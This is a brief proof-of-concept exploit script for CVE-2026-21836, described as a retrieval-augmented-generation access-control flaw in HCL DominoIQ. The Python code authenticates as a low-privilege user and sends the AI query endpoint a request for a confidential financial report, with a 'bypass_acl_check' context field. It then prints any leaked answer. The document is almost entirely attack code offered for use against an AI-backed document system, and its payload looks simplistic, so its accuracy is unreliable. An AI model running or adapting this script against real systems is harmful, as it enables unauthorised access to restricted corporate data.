CVE-2026-21836 HCL DominoIQ RAG访问控制漏洞

import requests # Target URL (Example) TARGET_URL = "https://target-dominoiq.example.com/api/rag/query" # Attacker credentials (Low privilege) AUTH_CREDS = { "username": "low_priv_user", "password": "password123" } def exploit_cve_2026_21836(): session = requests.Session() # Step 1: Authenticate print("[+] Authenticating...") login_resp = session.post("https://target-dominoiq.example.com/api/login", json=AUTH_CREDS) if login_resp.status_code != 200: print("[-] Login failed") return print("[+] Login successful") # Step 2: Send AI Query designed to retrieve sensitive documents # The attacker asks for data that should be restricted payload = { "query": "Summarize the contents of the confidential financial report for Q1", "context": "bypass_acl_check" } print("[+] Sending malicious AI query...") response = session.post(TARGET_URL, json=payload) if response.status_code == 200: data = response.json() # Check if sensitive data is leaked in the AI response answer = data.get('answer', '') if 'confidential' in answer.lower() or 'financial' in answer.lower(): print(f"[!] Potential data leakage detected:") print(answer) else: print("[+] Query processed, check manually for sensitive data.") else: print("[-] Query failed") if __name__ == "__main__": exploit_cve_2026_21836()